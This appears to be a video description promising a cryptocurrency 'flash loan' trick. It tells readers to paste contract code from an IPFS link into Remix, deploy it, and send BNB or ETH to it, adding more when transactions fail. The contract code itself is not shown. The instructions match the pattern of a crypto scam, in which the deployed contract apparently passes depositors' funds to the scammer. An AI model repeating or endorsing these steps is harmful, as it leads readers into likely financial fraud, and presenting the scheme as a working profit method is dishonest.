THIS VIDEO IS FOR EDUCATION PURPOSE. This trick worked for me. But you TRY IT AT YOUR OWN RISK.
1) Go to Remix https://remix.ethereum.org
2) Create new file and paste the FlashLoan Code from this link or copy paste it from below
dweb:/ipfs/QmX1Df2Cjj6ezWnemMKhYKM7VM8CpbYa2N266tfPX6XiUz
3) Follow the video instructions
NOTE: For better performance, please select this version of compile in Remix 0.6.12+commit.27d51765
EXAMPLE: IN LOAN AMOUNT IF YOU PUT 100000, YOU HAVE TO PUT 1.5 BNB NOT 0.15, IF YOU DONT PUT THE ENOUGH BNB THE BORROW AND THE FLASHLOAN WILL FAIL
If it fails, please repeat the TX again.
**********************************************ATTENTION*********************************************
Add at least 0.15BNB (0.25 is better) in each transaction (for 1000 Loan amount). If it doesnt work send more BNB for the contract that you deployed or deploy another contract and try sending BNB again.
YOU CAN DO IT THE SAME ON THE ETHEREUM NETWORK (MINIMIUM SEND 0.3 ETH FOR THE CONTRACT TXs)
----------------------------------------------------------------------------------------------------------------------------------